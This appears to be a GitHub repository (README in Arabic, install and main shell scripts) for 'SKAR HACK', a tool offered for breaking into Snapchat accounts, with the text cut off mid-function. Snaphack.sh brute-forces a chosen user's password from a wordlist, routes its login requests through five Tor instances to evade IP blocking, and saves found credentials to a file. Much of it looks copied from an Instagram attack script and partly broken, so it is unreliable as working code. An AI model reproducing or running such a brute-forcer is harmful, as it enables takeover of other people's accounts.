├── README.md ├── install.sh └── Snaphack.sh /README.md: -------------------------------------------------------------------------------- 1 | # SKAR HACK 2 | 3 | #Snap Hck 4 | 5 | اداة اختراق حسابات snapchat 6 | 7 | 8 | 9 | 10 | اسمي /احمد 11 | 12 | من العراق 13 | 14 | للتواصل معي على تلكرام 15 | 16 | معرفي 17 | 18 | @skar44 19 | 20 | اشترك في قناتنا لكي تنضم لنا 21 | https://t.me/Skar441 22 | 23 | 24 | #إخلاء المسؤولية القانونية 25 | # Images 26 | 27 | ![Screenshot at 2019-09-07 15-46-15](https://user-images.githubusercontent.com/54996997/64491066-d036e600-d231-11e9-8c7f-61a12c35f43a.png) 28 | 29 | 30 | #الاوامر لتشغيل الاداة 31 | 32 | #sudo apt-get install git 33 | 34 | git clone https://github.com/skar44/SnapHack 35 | 36 | 37 | #sudo apt-get update 38 | 39 | #sudo apt-get install tor 40 | 41 | #sudo apt-get install all 42 | 43 | #sudo apt-get install python 44 | 45 | #sudo apt-get install python2 46 | 47 | #sudo chmod +x install.sh 48 | 49 | #sudo ./install.sh 50 | 51 | #run ror 52 | 53 | #chmod +x Snaphack.sh 54 | 55 | #sudo bash Snaphack.sh 56 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | trap 'echo exiting cleanly...; exit 1;' SIGINT SIGTSTP 5 | 6 | checkroot() { 7 | 8 | if [[ "$(id -u)" -ne 0 ]]; then 9 | printf "\e[1;77mPlease, run this program as root!\n\e[0m" 10 | exit 1 11 | fi 12 | 13 | } 14 | 15 | checkroot 16 | 17 | (trap '' SIGINT SIGTSTP && command -v tor > /dev/null 2>&1 || { printf >&2 "\e[1;92mInstalling TOR, please wait...\n\e[0m"; apt-get update > /dev/null && apt-get -y install tor > /dev/null || printf "\e[1;91mTor Not installed.\n\e[0m"; }) & wait $! 18 | 19 | (trap '' SIGINT SIGTSTP && command -v openssl > /dev/null 2>&1 || { printf >&2 "\e[1;92mInstalling openssl, please wait...\n\e[0m"; apt-get update > /dev/null && apt-get -y install openssl > /dev/null || printf "\e[1;91mOpenssl Not installed.\n\e[0m"; }) & wait $! 20 | 21 | (trap '' SIGINT SIGTSTP && command -v curl > /dev/null 2>&1 || { printf >&2 "\e[1;92mInstalling cURL, please wait...\n\e[0m"; apt-get update > /dev/null && apt-get -y install curl > /dev/null || printf "\e[1;91mCurl Not installed.\n\e[0m"; }) & wait $! 22 | 23 | printf "\e[1;92mAll Requires are installed!\n\e[0m" 24 | 25 | -------------------------------------------------------------------------------- /Snaphack.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | trap 'store; exit 1;' 2 5 | 6 | counter=0 7 | counter2=20 8 | counter3=40 9 | counter4=60 10 | counter5=80 11 | start=0 12 | end=20 13 | turn=$((start+end)) 14 | startline=1 15 | endline=20 16 | sumstart=0 17 | string4=$(openssl rand -hex 32 | cut -c 1-4) 18 | string8=$(openssl rand -hex 32 | cut -c 1-8) 19 | string12=$(openssl rand -hex 32 | cut -c 1-12) 20 | string16=$(openssl rand -hex 32 | cut -c 1-16) 21 | device="android-$string16" 22 | uuid=$(openssl rand -hex 32 | cut -c 1-32) 23 | phone="$string8-$string4-$string4-$string4-$string12" 24 | guid="$string8-$string4-$string4-$string4-$string12" 25 | var0=$(curl --socks5 localhost:9051 -i -s -H "$header" https://accounts.snapchat.com/api/v1/si/fetch_headers/?challenge_type=signup&guid=$uuid > /dev/null) 26 | var2=$(echo $var0 | grep -o 'csrftoken=.*' | cut -d ';' -f1 | cut -d '=' -f2) 27 | 28 | 29 | banner() { 30 | 31 | printf "\e[1;95m ______ \e[0m\n" 32 | printf "\e[1;95m .- -. \e[0m\n" 33 | printf "\e[1;95m / SKAR-HACK \ \e[0m\n" 34 | printf "\e[1;95m --------- \e[0m\n" 35 | printf "\e[1;95m |, .-. .-. ,| \e[0m\n" 36 | printf "\e[1;77m | )(_ / \_ )( | \e[0m\n" 37 | printf "\e[1;77m |/ /\ \| \e[0m\n" 38 | printf "\e[1;91m (@_ <__ ^^ __> \e[0m\n" 39 | printf "\e[1;91m _ ) \_______\__|IIIIII|__/________________________ \e[0m\n" 40 | printf "\e[1;91m (_)@8@8{}<________ ____________________________________> \e[0m\n" 41 | printf "\e[1;91m )_/ \ IIIIII / \e[0m\n" 42 | printf "\e[1;91m (@ -------- \e[0m\n" 43 | 44 | printf "\e[1;91m SKAR HACK (Telegram-skar44) \e[0m\n" 45 | } 46 | 47 | 48 | function start() { 49 | read -p $'\e[1;92mUsername account: \e[0m' user 50 | checkaccount=$(curl -L -s https://www.snapchat.com/$user/ | grep -c "the page may have been removed") 51 | if [[ "$checkaccount" == 1 ]]; then 52 | printf "\e[1;91mInvalid Username! Try again\e[0m\n" 53 | sleep 1 54 | start 55 | else 56 | default_wl_pass="passwords.lst" 57 | read -p $'\e[1;92mPassword List (Enter to default list): \e[0m' wl_pass 58 | wl_pass="${wl_pass:-${default_wl_pass}}" 59 | default_threads="100" 60 | threads="${threads:-${default_threads}}" 61 | fi 62 | } 63 | 64 | 65 | checkroot() { 66 | if [[ "$(id -u)" -ne 0 ]]; then 67 | printf "\e[1;77mPlease, run this program as root!\n\e[0m" 68 | exit 1 69 | fi 70 | } 71 | 72 | 73 | dependencies() { 74 | 75 | command -v tor > /dev/null 2>&1 || { echo >&2 "I require tor but it's not installed. Run ./install.sh. Aborting."; exit 1; } 76 | command -v curl > /dev/null 2>&1 || { echo >&2 "I require curl but it's not installed. Run ./install.sh. Aborting."; exit 1; } 77 | command -v openssl > /dev/null 2>&1 || { echo >&2 "I require openssl but it's not installed. Run ./install.sh Aborting."; exit 1; } 78 | 79 | command -v awk > /dev/null 2>&1 || { echo >&2 "I require awk but it's not installed. Aborting."; exit 1; } 80 | command -v sed > /dev/null 2>&1 || { echo >&2 "I require sed but it's not installed. Aborting."; exit 1; } 81 | command -v cat > /dev/null 2>&1 || { echo >&2 "I require cat but it's not installed. Aborting."; exit 1; } 82 | command -v tr > /dev/null 2>&1 || { echo >&2 "I require tr but it's not installed. Aborting."; exit 1; } 83 | command -v wc > /dev/null 2>&1 || { echo >&2 "I require wc but it's not installed. Aborting."; exit 1; } 84 | command -v cut > /dev/null 2>&1 || { echo >&2 "I require cut but it's not installed. Aborting."; exit 1; } 85 | command -v uniq > /dev/null 2>&1 || { echo >&2 "I require uniq but it's not installed. Aborting."; exit 1; } 86 | if [ $(ls /dev/urandom >/dev/null; echo $?) == "1" ]; then 87 | echo "/dev/urandom not found!" 88 | exit 1 89 | fi 90 | 91 | } 92 | 93 | 94 | multitor() { 95 | 96 | if [[ ! -d multitor ]]; then 97 | mkdir multitor; 98 | printf "SOCKSPort 9051\nDataDirectory /var/lib/tor1" > multitor/multitor1 99 | printf "SOCKSPort 9052\nDataDirectory /var/lib/tor2" > multitor/multitor2 100 | printf "SOCKSPort 9053\nDataDirectory /var/lib/tor3" > multitor/multitor3 101 | printf "SOCKSPort 9054\nDataDirectory /var/lib/tor4" > multitor/multitor4 102 | printf "SOCKSPort 9055\nDataDirectory /var/lib/tor5" > multitor/multitor5 103 | fi 104 | 105 | printf "\e[1;92m[*] Starting Tor on port:\e[0m\e[1;77m 9051\e[0m\n" 106 | tor -f multitor/multitor1 > /dev/null & 107 | tor1=$! 108 | #printf "Process %s\n" $tor1 109 | sleep 6 110 | printf "\e[1;92m[*] Starting Tor on port:\e[0m\e[1;77m 9052\e[0m\n" 111 | tor -f multitor/multitor2 > /dev/null & 112 | tor2=$! 113 | sleep 6 114 | printf "\e[1;92m[*] Starting Tor on port:\e[0m\e[1;77m 9053\e[0m\n" 115 | tor -f multitor/multitor3 > /dev/null & 116 | sleep 6 117 | printf "\e[1;92m[*] Starting Tor on port:\e[0m\e[1;77m 9054\e[0m\n" 118 | tor -f multitor/multitor4 > /dev/null & 119 | sleep 6 120 | printf "\e[1;92m[*] Starting Tor on port:\e[0m\e[1;77m 9055\e[0m\n" 121 | tor -f multitor/multitor5 > /dev/null & 122 | sleep 6 123 | checkcount=0 124 | printf "\e[1;92m[*] Checking Tor connection on port:\e[0m\e[1;77m 9051\e[0m..." 125 | check1=$(curl --socks5-hostname localhost:9051 -s https://www.google.com > /dev/null; echo $?) 126 | if [[ "check1" -gt 0 ]]; then 127 | printf "\e[1;91mFAIL!\e[0m\n" 128 | else 129 | printf "\e[1;92mOK!\e[0m\n" 130 | let checkcount++ 131 | fi 132 | 133 | printf "\e[1;92m[*] Checking Tor connection on port:\e[0m\e[1;77m 9052\e[0m..." 134 | check2=$(curl --socks5-hostname localhost:9052 -s https://www.google.com > /dev/null; echo $?) 135 | if [[ "check2" -gt 0 ]]; then 136 | printf "\e[1;91mFAIL!\e[0m\n" 137 | else 138 | printf "\e[1;92mOK!\e[0m\n" 139 | let checkcount++ 140 | fi 141 | 142 | printf "\e[1;92m[*] Checking Tor connection on port:\e[0m\e[1;77m 9053\e[0m..." 143 | check3=$(curl --socks5-hostname localhost:9053 -s https://www.google.com > /dev/null; echo $?) 144 | if [[ "check3" -gt 0 ]]; then 145 | printf "\e[1;91mFAIL!\e[0m\n" 146 | else 147 | printf "\e[1;92mOK!\e[0m\n" 148 | let checkcount++ 149 | fi 150 | 151 | 152 | printf "\e[1;92m[*] Checking Tor connection on port:\e[0m\e[1;77m 9054\e[0m..." 153 | check4=$(curl --socks5-hostname localhost:9054 -s https://www.google.com > /dev/null; echo $?) 154 | if [[ "check4" -gt 0 ]]; then 155 | printf "\e[1;91mFAIL!\e[0m\n" 156 | else 157 | printf "\e[1;92mOK!\e[0m\n" 158 | let checkcount++ 159 | fi 160 | 161 | printf "\e[1;92m[*] Checking Tor connection on port:\e[0m\e[1;77m 9055\e[0m..." 162 | check5=$(curl --socks5-hostname localhost:9055 -s https://www.google.com > /dev/null; echo $?) 163 | if [[ "check5" -gt 0 ]]; then 164 | printf "\e[1;91mFAIL!\e[0m\n" 165 | else 166 | printf "\e[1;92mOK!\e[0m\n" 167 | let checkcount++ 168 | fi 169 | 170 | if [[ $checkcount != 5 ]]; then 171 | printf "\e[1;91mRequire all TOR connection running to continue. Exiting\e[0m\n" 172 | exit 1 173 | fi 174 | printf "\n" 175 | printf "\e[1;77m[*] Starting...\e[0m\n" 176 | printf "\e[1;91m [*] Press Crtl + C to Stop/Save session\e[0m\n" 177 | sleep 2 178 | } 179 | 180 | function store() { 181 | 182 | if [[ -n "$threads" ]]; then 183 | printf "\n" 184 | printf "\e[1;91m [*] Waiting threads shutting down...\n\e[0m" 185 | wait $pid1 > /dev/null 2>&1 ; wait $pid2 > /dev/null 2>&1 ; wait $pid3 > /dev/null 2>&1 ; wait $pid4 > /dev/null 2>&1 ; wait $!; 186 | sleep 6 187 | 188 | if [[ -e nottested.lst ]]; then 189 | not=$(wc -l nottested.lst | cut -d " " -f1) 190 | printf "\e[1;92m [!] Passwords not tested due IP BLocking:\e[0m\e[1;77m %s\e[0m\n" $not 191 | ssfile="nottested.$user.$RANDOM" 192 | sfile=$(mv nottested.lst $ssfile | echo $ssfile) 193 | printf "\e[1;92m [*] Saved:\e[0m\e[1;77m %s\n" $sfile 194 | rm -rf nottested.lst 195 | printf "\e[1;91m [!] Use this file as wordlist!\e[0m\n" 196 | fi 197 | default_session="Y" 198 | printf "\n\e[1;77m [?] Save session for user\e[0m\e[1;92m %s \e[0m" $user 199 | read -p $'\e[1;77m? [Y/n]: \e[0m' session 200 | session="${session:-${default_session}}" 201 | if [[ "$session" == "Y" || "$session" == "y" || "$session" == "yes" || "$session" == "Yes" ]]; then 202 | if [[ ! -d sessions ]]; then 203 | mkdir sessions 204 | fi 205 | IFS=$'\n' 206 | countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1) 207 | printf "user=\"%s\"\npass=\"%s\"\nwl_pass=\"%s\"\ntoken=\"%s\"\n" $user $pass $wl_pass $countpass > sessions/store.session.$user.$(date +"%FT%H%M") 208 | printf "\e[1;77mSession saved.\e[0m\n" 209 | printf "\e[1;92mUse ./instainsane.sh --resume\n" 210 | else 211 | exit 1 212 | fi 213 | else 214 | exit 1 215 | fi 216 | } 217 | 218 | 219 | bf1() { 220 | 221 | while [ $counter -lt $turn ]; do 222 | 223 | IFS=$'\n' 224 | for pass in $(sed -n ''$startline','$endline'p' $wl_pass); do 225 | count_pass=$(wc -l $wl_pass | cut -d " " -f1) 226 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 227 | 228 | data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}' 229 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178" 230 | IFS=$'\n' 231 | countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1) 232 | hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2) 233 | useragent='User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 234 | 235 | let counter++ 236 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass 237 | 238 | {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9051 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.Snapchat.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid1=$! ; #;wait $!; 239 | 240 | let startline+=20 241 | let endline+=20 242 | 243 | done 244 | 245 | } 246 | 247 | 248 | bf2() { 249 | 250 | while [ $counter2 -lt $turn ]; do 251 | count_pass=$(wc -l $wl_pass | cut -d " " -f1) 252 | IFS=$'\n' 253 | for pass in $(sed -n ''$((startline+sumstart))','$endline'p' $wl_pass); do 254 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 255 | 256 | data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}' 257 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178" 258 | IFS=$'\n' 259 | countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1) 260 | hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2) 261 | useragent='User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 262 | 263 | let counter2++ 264 | 265 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass 266 | 267 | {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9052 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.Snapchat.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst ; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid2=$! ; # wait $!; 268 | 269 | let startline+=20 270 | let endline+=20 271 | 272 | done 273 | 274 | } 275 | 276 | 277 | bf3() { 278 | 279 | while [ $counter3 -lt $turn ]; do 280 | count_pass=$(wc -l $wl_pass | cut -d " " -f1) 281 | IFS=$'\n' 282 | for pass in $(sed -n ''$((startline+sumstart))','$endline'p' $wl_pass); do 283 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 284 | 285 | data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}' 286 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178" 287 | IFS=$'\n' 288 | countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1) 289 | hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2) 290 | useragent='User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 291 | 292 | let counter3++ 293 | 294 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass 295 | 296 | {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9053 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.Snapchat.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid3=$! ; # wait $!; 297 | 298 | let startline+=20 299 | let endline+=20 300 | 301 | done 302 | } 303 | 304 | 305 | bf4() { 306 | 307 | count_pass=$(wc -l $wl_pass | cut -d " " -f1) 308 | while [ $counter4 -lt $turn ]; do 309 | 310 | IFS=$'\n' 311 | for pass in $(sed -n ''$((startline+sumstart))','$endline'p' $wl_pass); do 312 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 313 | 314 | data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}' 315 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178" 316 | IFS=$'\n' 317 | countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1) 318 | hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2) 319 | useragent='User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 320 | 321 | 322 | let counter4++ 323 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass 324 | 325 | {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9054 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.Snapchat.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid4=$! ; # wait $!; 326 | 327 | let startline+=20 328 | let endline+=20 329 | 330 | done 331 | } 332 | 333 | bf5() { 334 | 335 | while [ $counter5 -lt $turn ]; do 336 | count_pass=$(wc -l $wl_pass | cut -d " " -f1) 337 | IFS=$'\n' 338 | for pass in $(sed -n ''$((startline+sumstart))','$endline'p' $wl_pass); do 339 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 340 | 341 | data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}' 342 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178" 343 | IFS=$'\n' 344 | countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1) 345 | hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2) 346 | useragent='User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 347 | 348 | let counter5++ 349 | 350 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass 351 | 352 | {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9055 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.Snapchat.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst;kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; wait $pid1 > /dev/null 2>&1; wait $pid2 > /dev/null 2>&1 ; wait $pid3 > /dev/null 2>&1 ; wait $pid4 > /dev/null 2>&1; wait $! > /dev/null 2>&1 ; 353 | 354 | let startline+=20 355 | let endline+=20 356 | 357 | done 358 | } 359 | 360 | 361 | bf1resume() { 362 | 363 | while [ $counter -lt $turn ]; do 364 | startresume=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1) 365 | startresume1=$((startresume+1)) 366 | IFS=$'\n' 367 | for pass in $(sed -n ''$startresume1','$(($token+endline))'p' $wl_pass); do 368 | 369 | count_pass=$(wc -l $wl_pass | cut -d " " -f1) 370 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 371 | 372 | data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}' 373 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178" 374 | IFS=$'\n' 375 | countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1) 376 | hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2) 377 | useragent='User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 378 | 379 | 380 | let counter++ 381 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass 382 | 383 | {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9051 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.Snapchat.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid1=$! ; #;wait $!; 384 | 385 | let startline+=20 386 | let endline+=20 387 | 388 | done 389 | } 390 | 391 | bf2resume() { 392 | 393 | while [ $counter2 -lt $turn ]; do 394 | count_pass=$(wc -l $wl_pass | cut -d " " -f1) 395 | IFS=$'\n' 396 | startresume=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1) 397 | startresume1=$((startresume+1)) 398 | IFS=$'\n' 399 | for pass in $(sed -n ''$startresume1','$(($token+endline))'p' $wl_pass); do 400 | 401 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 402 | 403 | data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}' 404 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178" 405 | IFS=$'\n' 406 | countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1) 407 | hmac=$(echo -n "$data" | openssl dgst 